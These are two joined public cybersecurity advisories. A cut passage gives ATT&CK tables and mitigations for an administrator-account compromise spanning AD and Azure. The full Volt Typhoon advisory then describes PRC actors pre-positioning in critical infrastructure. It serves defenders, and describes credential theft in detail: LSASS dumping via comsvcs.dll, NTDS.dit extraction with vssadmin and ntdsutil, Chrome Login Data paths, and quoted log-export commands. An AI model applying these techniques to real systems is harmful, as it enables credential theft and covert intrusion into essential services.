The actor used a compromised account (USER2) which was synced to both the on-premises AD and Azure AD, thus enabling administrative privileges to both the on-premises network and Azure tenant.

Table 6: Credential Access Technique Title ID Use

Unsecured Credentials: Credentials in Files

T1552.001

The actor likely obtained USER2 account credentials from the virtualized SharePoint server where they were locally stored.

Table 7: Discovery Technique Title ID Use

Account Discovery: Domain Account

T1087.002

Through the VM connection, the actor executed LDAP queries of the AD.

Remote System Discovery

T1018

Through the VM connection, the actor executed LDAP queries to collect user and host information.

Domain Trust Discovery

T1482

Through the VM connection, the actor executed LDAP queries to collect trust relationship information.

File and Directory Discovery

T1083

The actor authenticated to the CIFS on various endpoints likely for the purpose of file, folder, and directory discovery.

Network Service Discovery

T1046

The actor used the compromised USER1 account to authenticate to four services, presumably for the purpose of network and service discovery.

Table 8: Lateral Movement Technique Title ID Use

Remote Services

T1021

The actor connected from an unknown VM and authenticated to multiple services via the USER1 account.

Remote Services: Cloud Services

T1021.007

The actor used the USER2 account, which granted access to the Azure AD, as well as the on-premises AD.

Remote Services: SMB/Windows Admin Shares

T1021.002

The actor used compromised accounts to interact with a remote network share using Server Message Block.

Table 9: Collection Technique Title ID Use

Data from Information Repositories: SharePoint

T1213.002

The actor likely obtained the USER2 account credentials from the virtualized SharePoint server managed by USER1.

MITIGATIONS

Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST), which apply to all critical infrastructure organizations and network defenders. The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Secure and Monitor Administrator Accounts

The threat actor gained access to the network via compromised administrator accounts that did not have MFA enabled. The compromised USER2 Global Domain Administrator account could have enabled the threat actor to move laterally from the on-premises environment to the Azure tenant. In response to the incident, the victim organization removed administrator privileges for USER2. Additionally, the victim organization disabled unnecessary administrator accounts and enabled MFA for all administrator accounts. To prevent similar compromises, CISA and MS-ISAC recommend the following:

• Review current administrator accounts to determine their necessity and only maintain administrator accounts that are essential for network management. This will reduce the attack surface and focus efforts on the security and monitoring of necessary accounts.
• Restrict the use of multiple administrator accounts for one user.
• Create separate administrator accounts for on-premises and Azure environments to segment access.
• Implement the principle of least privilege to decrease threat actor’s ability to access key network resources. Enable just-in-time and just enough access for administrator accounts to elevate the minimum necessary privileges for a limited time to complete tasks.
• Use phishing-resistant multifactor authentication (MFA) [CPG 2.H] (e.g., security tokens) for remote access and access to any sensitive data repositories. Implement phishing-resistant MFA for as many services as possible—particularly for webmail and VPNs—for accounts that access critical systems and privileged accounts that manage backups. MFA should also be used for remote logins [M1032]. For additional guidance on secure MFA configurations, visit CISA’s More than a Password webpage and read CISA’s Implementing Phishing-Resistant MFA fact sheet.

Reduce Attack Surface

Unnecessary accounts, software, and services in the network create additional vectors for a threat actor to compromise. CISA and MS-ISAC recommend the following:

• Establish policy and procedure for the prompt removal of unnecessary accounts and groups from the enterprise, especially privileged accounts. Organizations should implement a robust and continuous user management process to ensure accounts of offboarded employees are removed and can no longer access the network.
• Maintain a robust asset management policy through comprehensive documentation of assets, tracking current version information to maintain awareness of outdated software, and mapping assets to business and critical functions.
  • Determine the need and functionality of assets that require public internet exposure [CPG 1.A].
• Follow a routine patching cycle for all operating systems, applications, and software (including all third-party software) to mitigate the potential for exploitation.
• Restrict personal devices from connecting to the network. Personal devices are not subject to the same group policies and security measures as domain joined devices.

Evaluate Tenant Settings

By default, in Azure AD all users can register and manage all aspects of applications they create. Users can also determine and approve what organizational data and services the application can access. These default settings can enable a threat actor to access sensitive information and move laterally in the network. In addition, users who create an Azure AD automatically become the Global Administrator for that tenant. This could allow a threat actor to escalate privileges to execute malicious actions. CISA and MS-ISAC recommend the following:

• Evaluate current user permissions in the Azure tenant to restrict potentially harmful permissions including:
  • Restrict users’ ability to register applications. By default, all users in Azure AD can register and manage the applications they create and approve the data and services the application can access. If this is exploited, a threat actor can access sensitive information and move laterally in the network.
  • Restrict non-administrators from creating tenants. Any user who creates an Azure AD automatically becomes the Global Administrator for that tenant. This creates an opportunity for a threat actor to escalate privileges to the highest privileged account.
  • Restrict access to the Azure AD portal to administrators only. Users without administrative privileges cannot change settings, however, they can view user info, group info, device details, and user privileges. This would allow a threat actor to gather valuable information for malicious activities.

Create a Forensically Ready Organization

• Collect access- and security-focused logs (e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and virtual private network) for use in both detection and incident response activities [CPG 2.T].
• Enable complete coverage of tools, including Endpoint Detection and Response (EDR), across the environment for thorough analysis of anomalous activity and remediation of potential vulnerabilities.

Assess Security Configuration of Azure Environment

CISA created the Secure Cloud and Business Applications (SCuBA) assessment tool to help Federal Civilian Executive Branch (FCEB) agencies to verify that a M365 tenant configuration conforms to a minimal viable secure configuration baseline. Although the SCuBA assessment tool was developed for FCEB, other organizations can benefit from its output. CISA and MS-ISAC recommend the following:

• Use tools that identify attack paths. This will enable defenders to identify common attack paths used by threat actors and shut them down before they are exploited.
• Review the security recommendations list provided by Microsoft 365 Defender. Focus remediation on critical vulnerabilities on endpoints that are essential to mission execution and contain sensitive data.

Evaluate Conditional Access Policies

Conditional access policies require users who want to access a resource to complete an action. Conditional access policies also account for common signals, such as user or group memberships, IP location information, device, application, and risky sign-in behavior identified through integration with Azure AD Identity Protection.

• Review current conditional access policies to determine if changes are necessary.

Reset All Passwords and Establish Secure Password Policies

In response to the incident, the victim organization reset passwords for all users.

• Employ strong password management alongside other attribute-based information, such as device information, time of access, user history, and geolocation data. Set a password policy to require complex passwords for all users (minimum of 16 characters) and enforce this new requirement as user passwords expire [CPG 2.A],[CPG 2.B],[CPG 2.C].
• Store credentials in a secure manner, such as with a credential manager, vault, or other privileged account management solution [CPG 2.L].
• For products that come with default passwords, ask vendors how they plan to eliminate default passwords, as highlighted in CISA’s Secure by Design Alert: How Manufacturers Can Protect Customers by Eliminating Default Passwords.

Mitigations for Vendors

CISA recommends that vendors incorporate secure by design principles and tactics into their practices, limiting the impact of threat actor techniques and strengthening the secure posture for their customers.

• Prioritize secure by default configurations, such as eliminating default passwords and providing high-quality audit logs to customers with no additional configuration, at no extra charge. Secure by default configurations should be prioritized to eliminate the need for customer implementation of hardening guidance.
• Immediately identify, mitigate, and update affected products that are not patched in accordance with CISA’s Known Exploited Vulnerabilities (KEV) catalog.
• Implement multifactor authentication (MFA), ideally phishing-resistant MFA, as a default (rather than opt-in) feature for all products.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see table 2-9).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• MS-ISAC: Center for Internet Security (CIS) Cyber-Attack Defense: CIS Benchmarks + CDM + MITRE ATT&CK

REFERENCES

[1] CISA Analysis: Fiscal Year 2022 Risk and Vulnerability Assessments

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or MS-ISAC.

VERSION HISTORY

February 15, 2024: Initial version.

SUMMARY

The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China (PRC) state-sponsored cyber actors are seeking to pre-position themselves on IT networks for disruptive or destructive cyberattacks against U.S. critical infrastructure in the event of a major crisis or conflict with the United States.

CISA, NSA, FBI and the following partners are releasing this advisory to warn critical infrastructure organizations about this assessment, which is based on observations from the U.S. authoring agencies’ incident response activities at critical infrastructure organizations compromised by the PRC state-sponsored cyber group known as Volt Typhoon (also known as Vanguard Panda, BRONZE SILHOUETTE, Dev-0391, UNC3236, Voltzite, and Insidious Taurus):

• U.S. Department of Energy (DOE)
• U.S. Environmental Protection Agency (EPA)
• U.S. Transportation Security Administration (TSA)
• Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
• Canadian Centre for Cyber Security (CCCS), a part of the Communications Security Establishment (CSE)
• United Kingdom National Cyber Security Centre (NCSC-UK)
• New Zealand National Cyber Security Centre (NCSC-NZ)

The U.S. authoring agencies have confirmed that Volt Typhoon has compromised the IT environments of multiple critical infrastructure organizations—primarily in Communications, Energy, Transportation Systems, and Water and Wastewater Systems Sectors—in the continental and non-continental United States and its territories, including Guam. Volt Typhoon’s choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable lateral movement to OT assets to disrupt functions. The U.S. authoring agencies are concerned about the potential for these actors to use their network access for disruptive effects in the event of potential geopolitical tensions and/or military conflicts. CCCS assesses that the direct threat to Canada’s critical infrastructure from PRC state-sponsored actors is likely lower than that to U.S. infrastructure, but should U.S. infrastructure be disrupted, Canada would likely be affected as well, due to cross-border integration. ASD’s ACSC and NCSC-NZ assess Australian and New Zealand critical infrastructure, respectively, could be vulnerable to similar activity from PRC state-sponsored actors.

As the authoring agencies have previously highlighted, the use of living off the land (LOTL) techniques is a hallmark of Volt Typhoon actors’ malicious cyber activity when targeting critical infrastructure. The group also relies on valid accounts and leverage strong operational security, which combined, allows for long-term undiscovered persistence. In fact, the U.S. authoring agencies have recently observed indications of Volt Typhoon actors maintaining access and footholds within some victim IT environments for at least five years. Volt Typhoon actors conduct extensive pre-exploitation reconnaissance to learn about the target organization and its environment; tailor their tactics, techniques, and procedures (TTPs) to the victim’s environment; and dedicate ongoing resources to maintaining persistence and understanding the target environment over time, even after initial compromise.

The authoring agencies urge critical infrastructure organizations to apply the mitigations in this advisory and to hunt for similar malicious activity using the guidance herein provided, along with the recommendations found in joint guide Identifying and Mitigating Living Off the Land Techniques. These mitigations are primarily intended for IT and OT administrators in critical infrastructure organizations. Following the mitigations for prevention of or in response to an incident will help disrupt Volt Typhoon’s accesses and reduce the threat to critical infrastructure entities.

If activity is identified, the authoring agencies strongly recommend that critical infrastructure organizations apply the incident response recommendations in this advisory and report the incident to the relevant agency (see Contact Information section).

For additional information, see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection and U.S. Department of Justice (DOJ) press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure. For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage.

Download the PDF version of this report:

AA24-038A PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure (PDF, 1.56 MB )

Read the accompanying Malware Analysis Report: MAR-10448362-1.v1 Volt Typhoon.

For a downloadable copy of indicators of compromise (IOCs), see:

AR24-038A STIX JSON (JSON, 59.40 KB ) TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See Appendix C: MITRE ATT&CK Tactics and Techniques section for tables of the Volt Typhoon cyber threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Overview of Activity

In May 2023, the authoring agencies—working with industry partners—disclosed information about activity attributed to Volt Typhoon (see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection). Since then, CISA, NSA, and FBI have determined that this activity is part of a broader campaign in which Volt Typhoon actors have successfully infiltrated the networks of critical infrastructure organizations in the continental and non-continental United States and its territories, including Guam.

The U.S. authoring agencies have primarily observed compromises linked to Volt Typhoon in Communications, Energy, Transportation Systems, and Water and Wastewater Systems sector organizations’ IT networks. Some victims are smaller organizations with limited cybersecurity capabilities that provide critical services to larger organizations or key geographic locations.

Volt Typhoon actors tailor their TTPs to the victim environment; however, the U.S. authoring agencies have observed the actors typically following the same pattern of behavior across identified intrusions. Their choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable the disruption of OT functions across multiple critical infrastructure sectors (see Figure 1).

1. Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s network architecture and operational protocols. This reconnaissance includes identifying network topologies, security measures, typical user behaviors, and key network and IT staff. The intelligence gathered by Volt Typhoon actors is likely leveraged to enhance their operational security. For example, in some instances, Volt Typhoon actors may have abstained from using compromised credentials outside of normal working hours to avoid triggering security alerts on abnormal account activities.
2. Volt Typhoon typically gains initial access to the IT network by exploiting known or zero-day vulnerabilities in public-facing network appliances (e.g., routers, virtual private networks [VPNs], and firewalls) and then connects to the victim’s network via VPN for follow-on activities.
3. Volt Typhoon aims to obtain administrator credentials within the network, often by exploiting privilege escalation vulnerabilities in the operating system or network services. In some cases, Volt Typhoon has obtained credentials insecurely stored on a public-facing network appliance.
4. Volt Typhoon uses valid administrator credentials to move laterally to the domain controller (DC) and other devices via remote access services such as Remote Desktop Protocol (RDP).
5. Volt Typhoon conducts discovery in the victim’s network, leveraging LOTL binaries for stealth. A key tactic includes using PowerShell to perform targeted queries on Windows event logs, focusing on specific users and periods. These queries facilitate the discreet extraction of security event logs into .dat files, allowing Volt Typhoon actors to gather critical information while minimizing detection. This strategy, blending in-depth pre-compromise reconnaissance with meticulous post-exploitation intelligence collection, underscores their sophisticated and strategic approach to cyber operations.
6. Volt Typhoon achieves full domain compromise by extracting the Active Directory database (NTDS.dit) from the DC. Volt Typhoon frequently employs the Volume Shadow Copy Service (VSS) using command-line utilities such as vssadmin to access NTDS.dit. The NTDS.dit file is a centralized repository that contains critical Active Directory data, including user accounts, passwords (in hashed form), and other sensitive data, which can be leveraged for further exploitation. This method entails the creation of a shadow copy—a point-in-time snapshot—of the volume hosting the NTDS.dit file. By leveraging this snapshot, Volt Typhoon actors effectively bypass the file locking mechanisms inherent in a live Windows environment, which typically prevent direct access to the NTDS.dit file while the domain controller is operational.
7. Volt Typhoon likely uses offline password cracking techniques to decipher these hashes. This process involves extracting the hashes from the NTDS.dit file and then applying various password cracking methods, such as brute force attacks, dictionary attacks, or more sophisticated techniques like rainbow tables to uncover the plaintext passwords. The successful decryption of these passwords allows Volt Typhoon actors to obtain elevated access and further infiltrate and manipulate the network.
8. Volt Typhoon uses elevated credentials for strategic network infiltration and additional discovery, often focusing on gaining capabilities to access OT assets. Volt Typhoon actors have been observed testing access to domain-joint OT assets using default OT vendor credentials, and in certain instances, they have possessed the capability to access OT systems whose credentials were compromised via NTDS.dit theft. This access enables potential disruptions, such as manipulating heating, ventilation, and air conditioning (HVAC) systems in server rooms or disrupting critical energy and water controls, leading to significant infrastructure failures (in some cases, Volt Typhoon actors had the capability to access camera surveillance systems at critical infrastructure facilities). In one confirmed compromise, Volt Typhoon actors moved laterally to a control system and were positioned to move to a second control system.

Figure 1: Typical Volt Typhoon Activity

After successfully gaining access to legitimate accounts, Volt Typhoon actors exhibit minimal activity within the compromised environment (except discovery as noted above), suggesting their objective is to maintain persistence rather than immediate exploitation. This assessment is supported by observed patterns where Volt Typhoon methodically re-targets the same organizations over extended periods, often spanning several years, to continuously validate and potentially enhance their unauthorized accesses. Evidence of their meticulous approach is seen in instances where they repeatedly exfiltrate domain credentials, ensuring access to current and valid accounts. For example, in one compromise, Volt Typhoon likely extracted NTDS.dit from three domain controllers in a four-year period. In another compromise, Volt Typhoon actors extracted NTDS.dit two times from a victim in a nine-month period.

Industry reporting—identifying that Volt Typhoon actors are silent on the network following credential dumping and perform discovery to learn about the environment, but do not exfiltrate data—is consistent with the U.S. authoring agencies’ observations. This indicates their aim is to achieve and maintain persistence on the network. In one confirmed compromise, an industry partner observed Volt Typhoon actors dumping credentials at regular intervals.

In addition to leveraging stolen account credentials, the actors use LOTL techniques and avoid leaving malware artifacts on systems that would cause alerts. Their strong focus on stealth and operational security allows them to maintain long-term, undiscovered persistence. Further, Volt Typhoon’s operational security is enhanced by targeted log deletion to conceal their actions within the compromised environment.

See the below sections for Volt Typhoon TTPs observed by the U.S. authoring agencies from multiple confirmed Volt Typhoon compromises.

Observed TTPs Reconnaissance

Volt Typhoon actors conduct extensive pre-compromise reconnaissance [TA0043] to learn about the target organization [T1591], its network [T1590], and its staff [T1589]. This includes web searches [T1593]—including victim-owned sites [T1594]—for victim host [T1592], identity, and network information, especially for information on key network and IT administrators. According to industry reporting, Volt Typhoon actors use FOFA[1], Shodan, and Censys for querying or searching for exposed infrastructure. In some instances, the U.S. authoring agencies have observed Volt Typhoon actors targeting the personal emails of key network and IT staff [T1589.002] post compromise.

Resource Development

Historically, Volt Typhoon actors use multi-hop proxies for command and control (C2) infrastructure [T1090.003]. The proxy is typically composed of virtual private servers (VPSs) [T1583.003] or small office/home office (SOHO) routers. Recently, Volt Typhoon actors used Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support their operations [T1584.005]. (See DOJ press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure for more information).

Initial Access

To obtain initial access [TA0001], Volt Typhoon actors commonly exploit vulnerabilities in networking appliances such as those from Fortinet, Ivanti Connect Secure (formerly Pulse Secure), NETGEAR, Citrix, and Cisco [T1190]. They often use publicly available exploit code for known vulnerabilities [T1588.005] but are also adept at discovering and exploiting zero-day vulnerabilities [T1587.004].

• In one confirmed compromise, Volt Typhoon actors likely obtained initial access by exploiting CVE-2022-42475 in a network perimeter FortiGate 300D firewall that was not patched. There is evidence of a buffer overflow attack identified within the Secure Sockets Layer (SSL)-VPN crash logs.

Once initial access is achieved, Volt Typhoon actors typically shift to establishing persistent access [TA0003]. They often use VPN sessions to securely connect to victim environments [T1133], enabling discreet follow-on intrusion activities. This tactic not only provides a stable foothold in the network but also allows them to blend in with regular traffic, significantly reducing their chances of detection.

Execution

Volt Typhoon actors rarely use malware for post-compromise execution. Instead, once Volt Typhoon actors gain access to target environments, they use hands-on-keyboard activity via the command-line [T1059] and other native tools and processes on systems [T1218] (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks. According to industry reporting, some “commands appear to be exploratory or experimental, as the operators [i.e., malicious actors] adjust and repeat them multiple times.”[2]

For more details on LOTL activity, see the Credential Access and Discovery sections and Appendix A: Volt Typhoon LOTL Activity.

Similar to LOTL, Volt Typhoon actors also use legitimate but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded [T1105] an outdated version of comsvcs.dll on the DC in a non-standard folder. comsvcs.dll is a legitimate Microsoft Dynamic Link Library (DLL) file normally found in the System32 folder. The actors used this DLL with MiniDump and the process ID of the Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory [T1003.001] and obtain credentials (LSASS process memory space contains hashes for the current user’s operating system (OS) credentials).

The actors also use legitimate non-native network admin and forensic tools. For example, Volt Typhoon actors have been observed using Magnet RAM Capture (MRC) version 1.20 on domain controllers. MRC is a free imaging tool that captures the physical memory of a computer, and Volt Typhoon actors likely used it to analyze in-memory data for sensitive information (such as credentials) and in-transit data not typically accessible on disk. Volt Typhoon actors have also been observed implanting Fast Reverse Proxy (FRP) for command and control.[3] (See the Command and Control section).

Persistence

Volt Typhoon primarily relies on valid credentials for persistence [T1078].

Defense Evasion

Volt Typhoon has strong operational security. Their actors primarily use LOTL for defense evasion [TA0005], which allows them to camouflage their malicious activity with typical system and network behavior, potentially circumventing simplistic endpoint security capabilities. For more information, see joint guide Identifying and Mitigating Living off the Land Techniques.

Volt Typhoon actors also obfuscate their malware. In one confirmed compromise, Volt Typhoon obfuscated FRP client files (BrightmetricAgent.exe and SMSvcService.exe) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX) [T1027.002]. FRP client applications support encryption, compression, and easy token authentication and work across multiple protocols—including transmission control protocol (TCP), user datagram protocol (UDP), hypertext transfer protocol (HTTP), and hypertext transfer protocol secure (HTTPS). The FRP client applications use the Kuai connection protocol (KCP) for error-checked and anonymous data stream delivery over UDP, with packet-level encryption support. See Appendix C and CISA Malware Analysis Report (MAR)-10448362-1.v1 for more information.

In addition to LOTL and obfuscation techniques, Volt Typhoon actors have been observed selectively clearing Windows Event Logs [T1070.001], system logs, and other technical artifacts to remove evidence [T1070.009] of their intrusion activity and masquerading file names [T1036.005].

Credential Access

Volt Typhoon actors first obtain credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities [T1068] in the operating system or network services. In some cases, they have obtained credentials insecurely stored on the appliance [T1552]. In one instance, where Volt Typhoon likely exploited CVE-2022-42475 in an unpatched Fortinet device, Volt Typhoon actors compromised a domain admin account stored inappropriately on the device.

Volt Typhoon also consistently obtains valid credentials by extracting the Active Directory database file (NTDS.dit)—in some cases multiple times from the same victim over long periods [T1003.003]. NTDS.dit contains usernames, hashed passwords, and group memberships for all domain accounts, essentially allowing for full domain compromise if the hashes can be cracked offline.

To obtain NTDS.dit, the U.S. authoring agencies have observed Volt Typhoon:

1. Move laterally [TA0008] to the domain controller via an interactive RDP session using a compromised account with domain administrator privileges [T1021.001];
2. Execute the Windows-native vssadmin [T1006] command to create a volume shadow copy;
3. Use Windows Management Instrumentation Console (WMIC) commands [T1047] to execute ntdsutil (a LOTL utility) to copy NTDS.dit and SYSTEM registry hive from the volume shadow copy; and
4. Exfiltrate [TA0010] NTDS.dit and SYSTEM registry hive to crack passwords offline) [T1110.002]. (For more details, including specific commands used, see Appendix A: Volt Typhoon LOTL Activity.)
   
   Note: A volume shadow copy contains a copy of all the files and folders that exist on the specified volume. Each volume shadow copy created on a DC includes its NTDS.dit and the SYSTEM registry hive, which provides keys to decrypt the NTDS.dit file.

Volt Typhoon actors have also been observed interacting with a PuTTY application by enumerating existing stored sessions [T1012]. Given this interaction and the exposure of cleartext-stored proxy passwords used in remote administration, Volt Typhoon actors potentially had access to PuTTY profiles that allow access to critical systems (see the Lateral Movement section).

According to industry reporting, Volt Typhoon actors attempted to dump credentials through LSASS (see Appendix B for commands used).[2]

The U.S. authoring agencies have observed Volt Typhoon actors leveraging Mimikatz to harvest credentials, and industry partners have observed Volt Typhoon leveraging Impacket.[2]

• Mimikatz is a credential dumping tool and Volt Typhoon actors use it to obtain credentials. In one confirmed compromise, the Volt Typhoon used RDP to connect to a server and run Mimikatz after leveraging a compromised administrator account to deploy it.
• Impacket is an open source Python toolkit for programmatically constructing and manipulating network protocols. It contains tools for Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks—as well as remote service execution.

Discovery

Volt Typhoon actors have been observed using commercial tools, LOTL utilities, and appliances already present on the system for system information [T1082], network service [T1046], group [T1069] and user [T1033] discovery.

Volt Typhoon uses at least the following LOTL tools and commands for system information, network service, group, and user discovery techniques:

• cmd
• certutil
• dnscmd
• ldifde
• makecab
• net user/group/use
• netsh

• nltest
• netstat
• ntdsutil
• ping
• PowerShell
• quser
• reg query/reg save

• systeminfo
• tasklist
• wevtutil
• whoami
• wmic
• xcopy

Some observed specific examples of discovery include:

• Capturing successful logon events [T1654].
  • Specifically, in one incident, analysis of the PowerShell console history of a domain controller indicated that security event logs were directed to a file named user.dat, as evidenced by the executed command Get-EventLog security -instanceid 4624 -after [year-month-date] | fl * | Out-File 'C:\users\public\documents\user.dat'. This indicates the group's specific interest in capturing successful logon events (event ID 4624) to analyze user authentication patterns within the network. Additionally, file system analysis, specifically of the Master File Table (MFT), uncovered evidence of a separate file, systeminfo.dat, which was created in C:\Users\Public\Documents but subsequently deleted [T1070.004]. The presence of these activities suggests a methodical approach by Volt Typhoon actors in collecting and then possibly removing traces of sensitive log information from the compromised system.
• Executing tasklist /v to gather a detailed process listing [T1057], followed by executing taskkill /f /im rdpservice.exe (the function of this executable is not known).
• Executing net user and quser for user account information [T1087.001].
• Creating and accessing a file named rult3uil.log on a domain controller in C:\Windows\System32\. The rult3uil.log file contained user activities on a compromised system, showcasing a combination of window title information [T1010] and focus shifts, keypresses, and command executions across Google Chrome and Windows PowerShell, with corresponding timestamps.
• Employing ping with various IP addresses to check network connectivity [T1016.001] and net start to list running services [T1007].

See Appendix A for additional LOTL examples.

In one confirmed compromise, Volt Typhoon actors attempted to use Advanced IP Scanner, which was on the network for admin use, to scan the network.

Volt Typhoon actors have been observed strategically targeting network administrator web browser data—focusing on both browsing history and stored credentials [T1555.003]—to facilitate targeting of personal email addresses (see the Reconnaissance section) for further discovery and possible network modifications that may impact the threat actor’s persistence within victim networks.

In one confirmed compromise:

• Volt Typhoon actors obtained the history file from the User Data directory of a network administrator user’s Chrome browser. To obtain the history file, Volt Typhoon actors first executed an RDP session to the user’s workstation where they initially attempted, and failed, to obtain the C$ File Name: users\{redacted}\appdata\local\Google\Chrome\UserData\default\History file, as evidenced by the accompanying 1016 (reopen failed) SMB error listed in the application event log. The threat actors then disconnected the RDP session to the workstation and accessed the file C:\Users\{redacted}\Downloads\History.zip. This file presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration [T1074]. Shortly after accessing the history.zip file, the actors terminated RDP sessions.
• About four months later, Volt Typhoon actors accessed the same user’s Chrome data C$ File Name: Users\{redacted}\AppData\Local\Google\Chrome\User Data\Local State and $ File Name: Users\{redacted}\AppData\Local\Google\Chrome\User Data\Default\Login Data via SMB. The Local State file contains the Advanced Encryption Standard (AES) encryption key [T1552.004] used to encrypt the passwords stored in the Chrome browser, which would enable the actors to obtain plaintext passwords stored in the Login Data file in the Chrome browser.

In another confirmed compromise, Volt Typhoon actors accessed directories containing Chrome and Edge user data on multiple systems. Directory interaction was observed over the network to paths such as C:\Users\{redacted}\AppData\Local\Google\Chrome\User Data\ and C:\Users\{redacted}\AppData\Local\Microsoft\Edge\User Data\. They also enumerated several directories, including directories containing vulnerability testing and cyber related content and facilities data, such as construction drawings [T1083].

Lateral Movement

For lateral movement, Volt Typhoon actors have been observed predominantly employing RDP with compromised valid administrator credentials. Note: With a full on-premises Microsoft Active Directory identity compromise (see the Credential Access section), the group may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement [T1550].

In one confirmed compromise of a Water and Wastewater Systems Sector entity, after obtaining initial access, Volt Typhoon actors connected to the network via a VPN with administrator credentials they obtained and opened an RDP session with the same credentials to move laterally. Over a nine-month period, they moved laterally to a file server, a domain controller, an Oracle Management Server (OMS), and a VMware vCenter server. The actors obtained domain credentials from the domain controller and performed discovery, collection, and exfiltration on the file server (see the Discovery and Collection and Exfiltration sections).

Volt Typhoon’s movement to the vCenter server was likely strategic for pre-positioning to OT assets. The vCenter server was adjacent to OT assets, and Volt Typhoon actors were observed interacting with the PuTTY application on the server by enumerating existing stored sessions. With this information, Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, OT systems, and network security devices. This would enable them to access these critical systems [T1563]. See Figure 2.

Figure 2: Volt Typhoon Lateral Movement Path File Server, DC, and OT-Adjacent Assets

Additionally, Volt Typhoon actors have been observed using PSExec to execute remote processes, including the automated acceptance of the end-user license agreement (EULA) through an administrative account, signified by the accepteula command flag.

Volt Typhoon actors may have attempted to move laterally to a cloud environment in one victim’s network but direct attribution to the Volt Typhoon group was inconclusive. During the period of the their known network presence, there were anomalous login attempts to an Azure tenant [T1021.007] potentially using credentials [T1078.004] previously compromised from theft of NTDS.dit. These attempts, coupled with misconfigured virtual machines with open RDP ports, suggested a potential for cloud-based lateral movement. However, subsequent investigations, including password changes and multifactor authentication (MFA) implementations, revealed authentication failures from non-associated IP addresses, with no definitive link to Volt Typhoon.

Collection and Exfiltration

The U.S. authoring agencies assess Volt Typhoon primarily collects information that would facilitate follow-on actions with physical impacts. For example, in one confirmed compromise, they collected [TA0009] sensitive information obtained from a file server in multiple zipped files [T1560] and likely exfiltrated [TA0010] the files via Server Message Block (SMB) [T1048] (see Figure 3). Collected information included diagrams and documentation related to OT equipment, including supervisory control and data acquisition (SCADA) systems, relays, and switchgear. This data is crucial for understanding and potentially impacting critical infrastructure systems, indicating a focus on gathering intelligence that could be leveraged in actions targeting physical assets and systems.

Figure 3: Volt Typhoon Attack Path for Exfiltration of Data from File Server

In another compromise, Volt Typhoon actors leveraged WMIC to create and use temporary directories (C:\Users\Public\pro, C:\Windows\Temp\tmp, C:\Windows\Temp\tmp\Active Directory and C:\Windows\Temp\tmp\registry) to stage the extracted ntds.dit and SYSTEM registry hives from ntdsutil execution volume shadow copies (see the Credential Access section) obtained from two DCs. They then compressed and archived the extracted ntds.dit and accompanying registry files by executing ronf.exe, which was likely a renamed version of the archive utility rar.exe) [T1560.001].

Command and Control

Volt Typhoon actors have been observed leveraging compromised SOHO routers and virtual private servers (VPS) to proxy C2 traffic. For more information, see DOJ press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure).

